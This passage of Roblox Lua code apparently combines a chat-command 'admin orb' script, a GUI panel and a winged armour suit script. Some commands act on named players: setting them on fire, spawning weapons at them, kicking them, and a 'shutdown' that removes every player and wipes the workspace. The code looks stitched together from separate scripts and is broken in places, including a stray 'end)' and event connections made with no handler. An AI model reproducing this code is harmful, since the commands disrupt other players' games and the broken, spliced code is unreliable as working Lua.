- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("pistol"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36874821)
- g.Parent = game.Workspace
- g:MoveTo(player.Character.Torso.Position)
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("assasin"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- g = game:GetService("InsertService"):LoadAsset(36960985)
- g.Parent = game.Workspace
- wait(2)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("fire"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- f= Instance.new("Fire")
- f.Parent = player.Character.Torso
- wait(1)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("green fire"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("New Yeller")
- SPL.Part = p
- f.Color = Color3.new(0,51,0)
- f.SecondaryColor = Color3.new(0,51,0)
- wait(1)
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("white"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright blue")
- f=Instance.new("Fire")f.Parent=p
- f.Color=Color3.new(1,1,1)
- f.SecondaryColor = Color3.new(1,1,1)
- end
- end
- end
- if (string.find(msg, string.lower("suit"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Really black")
- SPL.Part = p
- player.Character:BreakJoints()
- player.CharacterAppearance = "http://www.roblox.com/asset/?id=27911184"
- end
- end
- end
- if (string.find(msg, string.lower("kick"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright blue")
- SPL.Part = p
- wait(1)
- player:Remove()
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("shutdown"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright blue")
- SPL.Part = p
- wait(1)
- local e = game.StarterPack:getChildren()
- for i = 1,#e do
- e[i]:remove()
- end
- local f = game.StarterGui:getChildren()
- for i = 1,#f do
- f[i]:remove()
- end
- local g = game.Lighting:getChildren()
- for i = 1,#g do
- g[i]:remove()
- end
- local h = game.Players:getChildren()
- for i = 1,#h do
- h[i]:remove()
- end
- local j = game.Workspace:getChildren()
- for i = 1, #j do
- j[i]:remove()
- end
- SPL.Part = nil
- end
- end
- end
- if (string.find(msg, string.lower("stop"))) then
- if (string.find(msg, string.lower("spin"))) then
- BG.Parent = p
- end
- end
- if (string.find(msg, string.lower("start"))) then
- if (string.find(msg, string.lower("spin"))) then
- BG.Parent = nil
- end
- end
- if (string.find(msg, string.lower("invisible"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright blue")
- SPL.Part = p
- for i,v in pairs(player.Character:GetChildren()) do
- if (v:IsA("Part")) then
- v.Transparency = 1
- end
- end
- wait(1)
- SPL.Part = nil
- end
- end
- end
- if not (string.find(msg, string.lower("invisible"))) then
- if (string.find(msg, string.lower("visible"))) then
- for word in msg:gmatch("%w+") do
- local player = matchPlayer(word)
- if (player ~= nil) then
- SPL.Humanoid = player.Character:findFirstChild("Humanoid")
- SPL.Color = BrickColor.new("Bright blue")
- SPL.Part = p
- for i,v in pairs(player.Character:GetChildren()) do
- if (v:IsA("Part")) then
- v.Transparency = 0
- end
- end
- wait(1)
- SPL.Part = nil
- end
- end
- end
- end
- if (string.find(msg, string.lower("stay"))) then
- local FOLLOW = false
- end
- if (string.find(msg, string.lower("follow"))) then
- local FOLLOW = true
- end
- end
- Player.Chatted:connect(onChatted)
- local Levitated = 0
- local LevitateDir = -1
- while true do wait()
- pcall(function()
- -- PARENT THE ORB --
- M.Parent = Player.Character
- -- Levitation --
- Levitated = Levitated + LevitateDir / 20
- if Levitated >= 1 or Levitated <= -1 then
- LevitateDir = -LevitateDir
- end
- if (FOLLOW == true) then
- BP.position = (Player.Character.Torso.CFrame * CFrame.new(5, RISE, -2.5)).p + Vector3.new(0, Levitated, 0)
- end
- end)
- end
- Game.JointsService.DescendantAdded:connect()
- Workspace.DescendantAdded:connect()
- end)
- sg.Adornee = Part1
- sg.Face = "Back"
- local tl2 = Instance.new("Frame",sg)
- tl2.BackgroundColor3 = Color3.new(0,0,0)
- tl2.Size = UDim2.new(0,800,0,600)
- tl2.Visible = false
- Part1.CanCollide = false
- local www = Instance.new("TextButton", tl)
- www.Size = UDim2.new(0,740,0,50)
- www.Position = UDim2.new(0,0,0,540)
- www.Text = 'Forward'
- www.Font = 'Legacy'
- www.FontSize = 'Size14'
- www.BackgroundTransparency = 0.5
- www.BackgroundColor3 = Color3.new(154, 21, 101)
- www.BorderColor3 = Color3.new(46, 189, 168)
- www.TextColor3 = Color3.new(150, 22, 5)
- www.MouseButton1Click:connect(function()
- tl.Visible = false
- tl2.Visible = true
- end)
- local nnn = Instance.new("TextButton", tl)
- nnn.Size = UDim2.new(0, 50, 0, 50)
- nnn.Position = UDim2.new(0, 750, 0, 540)
- nnn.Text = 'X'
- nnn.Font = 'Legacy'
- nnn.FontSize = 'Size14'
- nnn.BackgroundTransparency = 0.5
- nnn.BackgroundColor3 = Color3.new(154, 21, 101)
- nnn.BorderColor3 = Color3.new(46, 189, 168)
- nnn.TextColor3 = Color3.new(150, 22, 5)
- nnn.MouseButton1Click:connect(function()
- sg.Enabled = false
- wait(2)
- Part1:remove()
- end)
- local button10 = Instance.new("TextButton", tl2)
- button10.Size = UDim2.new(0,740,0,50)
- button10.Position = UDim2.new(0,0,0,540)
- button10.Text = 'Forward'
- button10.Font = 'Legacy'
- button10.FontSize = 'Size14'
- button10.BackgroundTransparency = 0.5
- button10.BackgroundColor3 = Color3.new(154, 21, 101)
- button10.BorderColor3 = Color3.new(46, 189, 168)
- button10.TextColor3 = Color3.new(150, 22, 5)
- button10.MouseButton1Click:connect(function()
- end)
- local bbb = Instance.new("TextButton", tl2)
- bbb.Size = UDim2.new(0, 50, 0, 50)
- bbb.Position = UDim2.new(0, 750, 0, 540)
- bbb.Text = 'X'
- bbb.Font = 'Legacy'
- bbb.FontSize = 'Size14'
- bbb.BackgroundTransparency = 0.5
- bbb.BackgroundColor3 = Color3.new(154, 21, 101)
- bbb.BorderColor3 = Color3.new(46, 189, 168)
- bbb.TextColor3 = Color3.new(150, 22, 5)
- bbb.MouseButton1Click:connect(function()
- sg.Enabled = false
- wait(2)
- Part1:remove()
- end)
- local button11 = Instance.new("TextButton", tl2)
- button11.Size = UDim2.new(0,800,0,50)
- button11.Position = UDim2.new(0,0,0,0)
- button11.Text = 'Give Epic Wings'
- button11.Font = 'Legacy'
- button11.FontSize = 'Size14'
- button11.BackgroundTransparency = 0.5
- button11.BackgroundColor3 = Color3.new(46, 189, 168)
- button11.BorderColor3 = Color3.new(46, 189, 168)
- button11.TextColor3 = Color3.new(56, 255, 249)
- button11.MouseButton1Click:connect(function()
- -------------------------------------------Epic CostumOf Epic Pwnsomeness-----------------------------------------------
- print("Daracotian Loaded")
- if (script.Parent.className ~= "HopperBin") then
- local h = Instance.new("HopperBin")
- h.Name = "Daracotian"
- h.Parent = game.Players["ProFiGames"].Backpack
- script.Parent = h
- script.Name = "Function"
- end
- Player = script.Parent.Parent.Parent
- Person = Player
- Character = Player.Character
- Torso = Character.Torso
- Head = Character:findFirstChild("Head")
- LA = Character:findFirstChild("Left Arm")
- RA = Character:findFirstChild("Right Arm")
- LL = Character:findFirstChild("Left Leg")
- RL = Character:findFirstChild("Right Leg")
- Characters = Instance.new("Model")
- Characters.Name = "Suit"
- Characters.Parent = Character
- Bin = script.Parent
- Person = game.Players.LocalPlayer
- PersonT = Person.Character.Torso
- Hold = false
- Lazer = false
- Grabbed = nil
- Debounce = false
- FDebounce = false
- Flight = false
- NormalHand = 2 --Change to your preffered hand 1 being "Right" and 2 begin "Left"
- NormalFoot = 4 --Change to your preffered foot 3 being "Right" and 4 begin "Left"
- Joints = {PersonT:findFirstChild("Right Shoulder"), PersonT:findFirstChild("Left Shoulder"), PersonT:findFirstChild("Right Hip"), PersonT:findFirstChild("Left Hip")}
- Limbs = {Person.Character:findFirstChild("Right Arm"), Person.Character:findFirstChild("Left Arm"), Person.Character:findFirstChild("Right Leg"), Person.Character:findFirstChild("Left Leg")}
- UsingTools = 0
- AnimatingTools = false
- Suit = Character.Suit
- --Head!!!!!!!!
- Ha = Character.Head:Clone()
- Ha.BrickColor = BrickColor.new("New Yeller")
- Ha.face:Remove()
- Ha2 = Ha:Clone()
- Ha.Transparency = 0.5
- Ha.Name = "Head"
- Ha.Reflectance = 0.7
- Ha.Mesh.Scale = Ha.Mesh.Scale + Vector3.new(0.05,0.05,0.05)
- Ha2.Name = "HeadMotor"
- Ha2.Transparency = 1
- Ha2.Mesh:Remove()
- Ha2.Parent = Characters
- Haw = Instance.new("Weld")
- Haw.Part0 = Torso
- Haw.Part1 = Ha2
- Haw.Parent = Torso
- Haw.C0 = CFrame.new(0,1.5,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
- Ha.Parent = Characters
- Hmotor1 = Instance.new("Motor")
- Hmotor1.Parent = Ha2
- Hmotor1.Part0 = Ha2
- Hmotor1.Part1 = Ha
- Hmotor1.MaxVelocity = 0.05
- Hmotor1.C1 = CFrame.new(0,0,0)
- -- Left Wing!!!
- w11 = Instance.new("Part")
- w11.Name = "LWingMotor"
- w11.formFactor = "Symmetric"
- w11.Size = Vector3.new(1,1,1)
- w11.TopSurface = "Smooth"
- w11.BottomSurface = "Smooth"
- w11.CanCollide = false
- w11.Transparency = 1
- w12 = Instance.new("Part")
- w12.Name = "Wing1"
- w12.BrickColor = BrickColor.new("New Yeller")
- w12.formFactor = "Symmetric"
- w12.Size = Vector3.new(1,5,2)
- w12.TopSurface = "Smooth"
- w12.BottomSurface = "Smooth"
- w12.CanCollide = false
- w12.Transparency = 0.35
- w12.Reflectance = 0.7
- w1m = Instance.new("SpecialMesh")
- w1m.Parent = w12
- w1m.MeshType = "Sphere"
- w1m.Scale = Vector3.new(0.2, 1.25, 1)
- w11.Parent = Characters
- ww1 = Instance.new("Weld")
- ww1.Part0 = Torso
- ww1.Part1 = w11
- ww1.Parent = Torso
- ww1.C0 = CFrame.new(-0.4,0,0.8)*CFrame.fromEulerAnglesXYZ(0.5, 0, 0.5)
- w12 .Parent = Characters
- motor1 = Instance.new("Motor")
- motor1.Parent = w11
- motor1.Part0 = w11
- motor1.Part1 = w12
- motor1.MaxVelocity = 0.35
- motor1.C1 = CFrame.new(0,-2,0.5)
- --Right Wing!!!
- w21 = Instance.new("Part")
- w21.Name = "RWingMotor"
- w21.formFactor = "Symmetric"
- w21.Size = Vector3.new(1,1,1)
- w21.TopSurface = "Smooth"
- w21.BottomSurface = "Smooth"
- w21.CanCollide = false
- w21.Transparency = 1
- w22 = Instance.new("Part")
- w22.Name = "Wing2"
- w22.BrickColor = BrickColor.new("New Yeller")
- w22.formFactor = "Symmetric"
- w22.Size = Vector3.new(1,5,2)
- w22.TopSurface = "Smooth"
- w22.BottomSurface = "Smooth"
- w22.CanCollide = false
- w22.Transparency = 0.35
- w22.Reflectance = 0.7
- w2m = Instance.new("SpecialMesh")
- w2m.Parent = w22
- w2m.MeshType = "Sphere"
- w2m.Scale = Vector3.new(0.2, 1.25, 1)
- w21.Parent = Characters
- ww2 = Instance.new("Weld")
- ww2.Part0 = Torso
- ww2.Part1 = w21
- ww2.Parent = Torso
- ww2.C0 = CFrame.new(0.4,0,0.8)*CFrame.fromEulerAnglesXYZ(0.5, 0, -0.5)
- w22 .Parent = Characters
- motor2 = Instance.new("Motor")
- motor2.Parent = w21
- motor2.Part0 = w21
- motor2.Part1 = w22
- motor2.MaxVelocity = 0.35
- motor2.C1 = CFrame.new(0,-2,0.5)
- -- Extra Right Wings!!!
- Lwing1 = w22:Clone()
- Lwing1.Parent = Characters
- Lw1w = Instance.new("Weld")
- Lw1w.Part0 = w22
- Lw1w.Part1 = Lwing1
- Lw1w.Parent = w22
- Lw1w.C0 = CFrame.new(0,-0.5,1)*CFrame.fromEulerAnglesXYZ(0.5,0,0)
- Lwing2 = Lwing1:Clone()
- Lwing2.Parent = Characters
- Lw2w = Instance.new("Weld")
- Lw2w.Part0 = Lwing1
- Lw2w.Part1 = Lwing2
- Lw2w.Parent = Lwing1
- Lw2w.C0 = CFrame.new(0,-0.3,1)*CFrame.fromEulerAnglesXYZ(0.5,0,0)
- --Extra Left Wings!!!
- Rwing1 = w12:Clone()
- Rwing1.Parent = Characters
- Rw1w = Instance.new("Weld")
- Rw1w.Part0 = w12
- Rw1w.Part1 = Rwing1
- Rw1w.Parent = w12
- Rw1w.C0 = CFrame.new(0,-0.5,1)*CFrame.fromEulerAnglesXYZ(0.5,0,0)
- Rwing2 = Lwing1:Clone()
- Rwing2.Parent = Characters
- Rw2w = Instance.new("Weld")
- Rw2w.Part0 = Rwing1
- Rw2w.Part1 = Rwing2
- Rw2w.Parent = Rwing1
- Rw2w.C0 = CFrame.new(0,-0.3,1)*CFrame.fromEulerAnglesXYZ(0.5,0,0)
- -- Torso!!!!!!!
- --BackShuriken!!!
- Bs = Instance.new("Part")
- Bs.Name = "BackShuriken"
- Bs.formFactor = "Plate"
- Bs.Size = Vector3.new(2,0.4,2)
- Bs.TopSurface = "Smooth"
- Bs.BottomSurface = "Smooth"
- Bs.CanCollide = false
- Instance.new("Sparkles").Parent = Bs
- Bs.Sparkles.Enabled = false
- Smb = Instance.new("SpecialMesh")
- Smb.Parent = Bs
- Smb.MeshType = "FileMesh"
- Smb.TextureId = "http://www.roblox.com/asset/?id=11112112" -- Shuriken Texture Id 1
- Smb.MeshId = "http://www.roblox.com/asset/?id=11112101" -- Shuriken Mesh Id 1
- Smb.Scale = Vector3.new(7,9,7)
- Bs.Parent = Characters
- Bsw = Instance.new("Weld")
- Bsw.Part0 = Torso
- Bsw.Part1 = Bs
- Bsw.Parent = Torso
- Bsw.C0 = CFrame.new(0,0,0.65)*CFrame.fromEulerAnglesXYZ(1.5,0,0)
- -- Torso Armor!!!
- Ta = Instance.new("Part")
- Ta.Name = "TorsoArmor"
- Ta.formFactor = "Symmetric"
- Ta.Size = Vector3.new(2,2,1)
- Ta.TopSurface = "Smooth"
- Ta.BottomSurface = "Smooth"
- Ta.BrickColor = BrickColor.new("Really black")
- Ta.Reflectance = 0.4
- Ta.Transparency = 0.5
- Tam = Instance.new("BlockMesh")
- Tam.Parent = Ta
- Tam.Scale = Vector3.new(0.9,1.005,1.2)
- Ta.Parent = Characters
- Taw = Instance.new("Weld")
- Taw.Part0 = Torso
- Taw.Part1 = Ta
- Taw.Parent = Torso
- Taw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
- -- Torso X Front!!!
- x1 = Instance.new("Part")
- x1.Name = "X1"
- x1.formFactor = "Symmetric"
- x1.Size = Vector3.new(1,3,1)
- x1.TopSurface = "Smooth"
- x1.BottomSurface = "Smooth"
- x1.BrickColor = BrickColor.new("Really red")
- x1.Reflectance = 0.1
- x1.CanCollide = false
- x1m = Instance.new("BlockMesh")
- x1m.Parent = x1
- x1m.Scale = Vector3.new(0.3,0.95,0.3)
- x2 = Instance.new("Part")
- x2.Name = "X2"
- x2.formFactor = "Symmetric"
- x2.Size = Vector3.new(1,3,1)
- x2.TopSurface = "Smooth"
- x2.BottomSurface = "Smooth"
- x2.BrickColor = BrickColor.new("Really red")
- x2.Reflectance = 0.1
- x2.CanCollide = false
- x2m = Instance.new("BlockMesh")
- x2m.Parent = x2
- x2m.Scale = Vector3.new(0.3,0.95,0.3)
- x1.Parent = Characters
- x1w = Instance.new("Weld")
- x1w.Part0 = Torso
- x1w.Part1 = x1
- x1w.Parent = Torso
- x1w.C0 = CFrame.new(0,0,-0.55)*CFrame.fromEulerAnglesXYZ(0,0,0.7)
- x2.Parent = Characters
- x2w = Instance.new("Weld")
- x2w.Part0 = Torso
- x2w.Part1 = x2
- x2w.Parent = Torso
- x2w.C0 = CFrame.new(0,0,-0.55)*CFrame.fromEulerAnglesXYZ(0,0,-0.7)
- x0 = Instance.new("Part")
- x0.Name = "X0"
- x0.formFactor = "Symmetric"
- x0.Size = Vector3.new(1,1,1)
- x0.TopSurface = "Smooth"
- x0.BottomSurface = "Smooth"
- x0.BrickColor = BrickColor.new("Really red")
- x0.Reflectance = 0.1
- x0.CanCollide = false
- x0m = Instance.new("SpecialMesh")
- x0m.Parent = x0
- x0m.MeshType = "Sphere"
- x0m.Scale = Vector3.new(1,1,0.5)
- x0.Parent = Characters
- x0w = Instance.new("Weld")
- x0w.Part0 = Torso
- x0w.Part1 = x0
- x0w.Parent = Torso
- x0w.C0 = CFrame.new(0,0,-0.55)*CFrame.fromEulerAnglesXYZ(0,0,0)
- --Dark Suit Ball!!!
- db = Instance.new("Part")
- db.Name = "DarkBall"
- db.formFactor = "Symmetric"
- db.Shape = "Ball"
- db.Size = Vector3.new(1,1,1)
- db.TopSurface = "Smooth"
- db.BottomSurface = "Smooth"
- db.BrickColor = BrickColor.new("Really black")
- db.Transparency = 0.955
- db.CanCollide = false
- db.CFrame = Torso.CFrame
- dbm = Instance.new("SpecialMesh")
- dbm.Parent = db
- dbm.MeshType = "Sphere"
- dbm.Scale = Vector3.new(20,20,20)
- dsbp = Instance.new("BodyPosition")
- dsbp.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- dsbp.Parent = db
- db.Parent = Characters
- -- Left Arm!!!!!!!!!!!!!!!!
- -- Left Arm Armor!!!!
- LAa = Instance.new("Part")
- LAa.Name = "LeftArmArmor"
- LAa.formFactor = "Symmetric"
- LAa.Size = Vector3.new(1,2,1)
- LAa.TopSurface = "Smooth"
- LAa.BottomSurface = "Smooth"
- LAa.BrickColor = BrickColor.new("Really black")
- LAa.Reflectance = 0.1
- LAa.Transparency = 0.1
- LAm = Instance.new("BlockMesh")
- LAm.Parent = LAa
- LAm.Scale = Vector3.new(1.1,1.1,1.1)
- LAa.Parent = Characters
- LAaw = Instance.new("Weld")
- LAaw.Part0 = LA
- LAaw.Part1 = LAa
- LAaw.Parent = LA
- LAaw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
- --Left Arm Wedge1!!!
- LAw = Instance.new("WedgePart")
- LAw.Name = "LeftArmWedge"
- LAw.formFactor = "Plate"
- LAw.Size = Vector3.new(1, 0.4, 1)
- LAw.TopSurface = "Smooth"
- LAw.BottomSurface = "Smooth"
- LAw.BrickColor = BrickColor.new("Really black")
- LAw.Reflectance = 0.1
- LAw.Transparency = 0.1
- LAw.Parent = Characters
- LAww = Instance.new("Weld")
- LAww.Part0 = LAw
- LAww.Part1 = LA
- LAww.Parent = LAw
- LAww.C0 = CFrame.new(0,-0.7,0.5)*CFrame.fromEulerAnglesXYZ(0,-1.5,-1.6)
- --Left Arm Shuriken!!!
- LAs = Instance.new("Part")
- LAs.Name = "LeftArmShuriken"
- LAs.formFactor = "Plate"
- LAs.Size = Vector3.new(1, 0.4, 1)
- LAs.TopSurface = "Smooth"
- LAs.BottomSurface = "Smooth"
- LAs.BrickColor = BrickColor.new("Really black")
- LAs.Reflectance = 0.1
- Lasm = Instance.new("SpecialMesh")
- Lasm.Parent = LAs
- Lasm.MeshType = "FileMesh"
- Lasm.TextureId = "http://www.roblox.com/asset/?id=11376931" -- Shuriken Texture Id 2
- Lasm.MeshId = "http://www.roblox.com/asset/?id=11376946" -- Shuriken Mesh Id 2
- Lasm.Scale = Vector3.new(3,5,3)
- LAs.Parent = Characters
- LAsw = Instance.new("Weld")
- LAsw.Part0 = LAs
- LAsw.Part1 = LA
- LAsw.Parent = LAs
- LAsw.C0 = CFrame.new(0,-0.6,-0.5)*CFrame.fromEulerAnglesXYZ(0,-1.5,-1.6)
- -- Left Arm Claw!!!
- LAc = Instance.new("Part")
- LAc.Name = "LClaw"
- LAc.formFactor = "Symmetric"
- LAc.Size = Vector3.new(1, 1, 1)
- LAc.TopSurface = "Smooth"
- LAc.BottomSurface = "Smooth"
- LAc.BrickColor = BrickColor.new("Really black")
- Lacm = Instance.new("SpecialMesh")
- Lacm.Parent = LAc
- Lacm.MeshType = "FileMesh"
- Lacm.TextureId = "http://www.roblox.com/asset/?id=10681501" -- Claw Texture Id
- Lacm.MeshId = "http://www.roblox.com/asset/?id=10681506" -- Claw Mesh Id
- Lacm.Scale = Vector3.new(1, 2, 0.8)
- LAc.Parent = Characters
- LAcw = Instance.new("Weld")
- LAcw.Part0 = LAc
- LAcw.Part1 = LA
- LAcw.Parent = LAc
- LAcw.C0 = CFrame.new(-0.5,0,-1.45)*CFrame.fromEulerAnglesXYZ(-1.6,-1.5,0)
- -- Right Arm!!!!!!!!!!!!!!!!!!!!!!
- -- Right Arm Armor!!!!
- RAa = Instance.new("Part")
- RAa.Name = "RightArmArmor"
- RAa.formFactor = "Symmetric"
- RAa.Size = Vector3.new(1,2,1)
- RAa.TopSurface = "Smooth"
- RAa.BottomSurface = "Smooth"
- RAa.BrickColor = BrickColor.new("Really black")
- RAa.Reflectance = 0.1
- RAa.Transparency = 0.1
- RAm = Instance.new("BlockMesh")
- RAm.Parent = RAa
- RAm.Scale = Vector3.new(1.1,1.1,1.1)
- RAa.Parent = Characters
- RAaw = Instance.new("Weld")
- RAaw.Part0 = RA
- RAaw.Part1 = RAa
- RAaw.Parent = RA
- RAaw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
- --Right Arm Wedge!!!
- RAw = Instance.new("WedgePart")
- RAw.Name = "RightArmWedge"
- RAw.formFactor = "Plate"
- RAw.Size = Vector3.new(1, 0.4, 1)
- RAw.TopSurface = "Smooth"
- RAw.BottomSurface = "Smooth"
- RAw.BrickColor = BrickColor.new("Really black")
- RAw.Reflectance = 0.1
- RAw.Transparency = 0.1
- RAw.Parent = Characters
- RAww = Instance.new("Weld")
- RAww.Part0 = RAw
- RAww.Part1 = RA
- RAww.Parent = RAw
- RAww.C0 = CFrame.new(0,-0.7,0.5)*CFrame.fromEulerAnglesXYZ(0,1.5,1.5)
- --Right Arm Shuriken!!!
- RAs = Instance.new("Part")
- RAs.Name = "RightArmShuriken"
- RAs.formFactor = "Plate"
- RAs.Size = Vector3.new(1, 0.4, 1)
- RAs.TopSurface = "Smooth"
- RAs.BottomSurface = "Smooth"
- RAs.BrickColor = BrickColor.new("Really black")
- RAs.Reflectance = 0.1
- Rasm = Instance.new("SpecialMesh")
- Rasm.Parent = RAs
- Rasm.MeshType = "FileMesh"
- Rasm.TextureId = "http://www.roblox.com/asset/?id=11376931" -- Shuriken Texture Id 2
- Rasm.MeshId = "http://www.roblox.com/asset/?id=11376946" -- Shuriken Mesh Id 2
- Rasm.Scale = Vector3.new(3,5,3)
- RAs.Parent = Characters
- RAsw = Instance.new("Weld")
- RAsw.Part0 = RAs
- RAsw.Part1 = RA
- RAsw.Parent = RAs
- RAsw.C0 = CFrame.new(0,-0.6,-0.5)*CFrame.fromEulerAnglesXYZ(0,1.5,1.6)
- -- Right Arm Claw!!!
- RAc = Instance.new("Part")
- RAc.Name = "RClaw"
- RAc.formFactor = "Symmetric"
- RAc.Size = Vector3.new(1, 1, 1)
- RAc.TopSurface = "Smooth"
- RAc.BottomSurface = "Smooth"
- RAc.BrickColor = BrickColor.new("Really black")
- Racm = Instance.new("SpecialMesh")
- Racm.Parent = RAc
- Racm.MeshType = "FileMesh"
- Racm.TextureId = "http://www.roblox.com/asset/?id=10681501" -- Claw Texture Id
- Racm.MeshId = "http://www.roblox.com/asset/?id=10681506" -- Claw Mesh Id
- Racm.Scale = Vector3.new(1, 2, 0.8)
- RAc.Parent = Characters
- RAcw = Instance.new("Weld")
- RAcw.Part0 = RAc
- RAcw.Part1 = RA
- RAcw.Parent = RAc
- RAcw.C0 = CFrame.new(-0.5,0,-1.45)*CFrame.fromEulerAnglesXYZ(-1.6,-1.5,0)
- -- Left Leg!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- --Left Leg Armor!!!
- LLa = Instance.new("Part")
- LLa.Name = "RightLegArmor"
- LLa.formFactor = "Symmetric"
- LLa.Size = Vector3.new(1,2,1)
- LLa.TopSurface = "Smooth"
- LLa.BottomSurface = "Smooth"
- LLa.BrickColor = BrickColor.new("Really black")
- LLa.Reflectance = 0.1
- LLa.Transparency = 0.1
- LLm = Instance.new("BlockMesh")
- LLm.Parent = LLa
- LLm.Scale = Vector3.new(1.1,1.1,1.1)
- LLa.Parent = Characters
- LLaw = Instance.new("Weld")
- LLaw.Part0 = LL
- LLaw.Part1 = LLa
- LLaw.Parent = LL
- LLaw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
- --Right Leg!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- --Right Leg Armor!!!
- RLa = Instance.new("Part")
- RLa.Name = "RightLegArmor"
- RLa.formFactor = "Symmetric"
- RLa.Size = Vector3.new(1,2,1)
- RLa.TopSurface = "Smooth"
- RLa.BottomSurface = "Smooth"
- RLa.BrickColor = BrickColor.new("Really black")
- RLa.Reflectance = 0.1
- RLa.Transparency = 0.1
- RLm = Instance.new("BlockMesh")
- RLm.Parent = RLa
- RLm.Scale = Vector3.new(1.1,1.1,1.1)
- RLa.Parent = Characters
- RLaw = Instance.new("Weld")
- RLaw.Part0 = RL
- RLaw.Part1 = RLa
- RLaw.Parent = RL
- RLaw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
- --Watch 8D!!!
- Watch2 = Instance.new("Part")
- Watch2.Name = "Watch2"
- Watch2.formFactor = "Plate"
- Watch2.Size = Vector3.new(1,0.4,1)
- Watch2.TopSurface = "Smooth"
- Watch2.BottomSurface = "Smooth"
- Watch2.BrickColor = BrickColor.new("Really black")
- Watch2.Reflectance = 0.1
- Watch2.Transparency = 0.1
- Watch2.Parent = Characters
- Watch2w = Instance.new("Weld")
- Watch2w.Part0 = RA
- Watch2w.Part1 = Watch2
- Watch2w.Parent = RA
- Watch2w.C0 = CFrame.new(0,-0.25,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
- --Sounds in the Suit!!!!
- Cs = Instance.new("Sound")
- Cs.Parent = Ta
- Cs.Name = "Cast"
- Cs.Volume = 1
- Cs.Pitch = 1
- Cs.SoundId = "http://www.roblox.com/asset/?id=2101137"
- Fp = Instance.new("Sound")
- Fp.Parent = Ta
- Fp.Name = "FalconPunch"
- Fp.Volume = 1
- Fp.Pitch = 1
- Fp.SoundId = "http://www.roblox.com/asset/?id=1387390"
- Tz = Instance.new("Sound")
- Tz.Parent = Ta
- Tz.Name = "Tz"
- Tz.Volume = 1
- Tz.Pitch = 1
- Tz.SoundId = "http://www.roblox.com/asset/?id=2974000"
- Hs = Instance.new("Sound")
- Hs.Parent = Ta
- Hs.Name = "Heal"
- Hs.Volume = 1
- Hs.Pitch = 1
- Hs.SoundId = "http://www.roblox.com/asset/?id=2101144"
- Ex = Instance.new("Sound")
- Ex.Parent = Ta
- Ex.Name = "Ex"
- Ex.Volume = 1
- Ex.Pitch = 1
- Ex.SoundId = "http://www.roblox.com/asset?id=2101157"
- ---ENd of Suit!!!!!!!
- ---Function!!!!!!!!!! :D YEAH!
- print("0")
- function SetAngle(Joint, Angle)
- if (Joint == 1) or (Joint == 3) then
- Joints[Joint].DesiredAngle = Angle
- end
- if (Joint == 2) or (Joint == 4) then
- Joints[Joint].DesiredAngle = -Angle
- end
- end
- function DisableLimb(Limb)
- Joints[Limb]:remove()
- Joint = Instance.new("Motor")
- Joint.Parent = Person.Character.Torso
- Joint.Part0 = Person.Character.Torso
- Joint.Part1 = Limbs[Limb]
- Joint.MaxVelocity = 0.1
- if (Limb == 1) then
- C0 = CFrame.new(PersonT.Size.x/2 + Limbs[Limb].Size.x/2, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, 3.14/2, 0)
- Joint.C1 = CFrame.new(0, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, 3.14/2, 0)
- Joint.Name = "Right Joint Top"
- elseif (Limb == 2) then
- C0 = CFrame.new(-PersonT.Size.x/2 - Limbs[Limb].Size.x/2, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, -3.14/2, 0)
- Joint.C1 = CFrame.new(0, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, -3.14/2, 0)
- Joint.Name = "Left Joint Top"
- elseif (Limb == 3) then
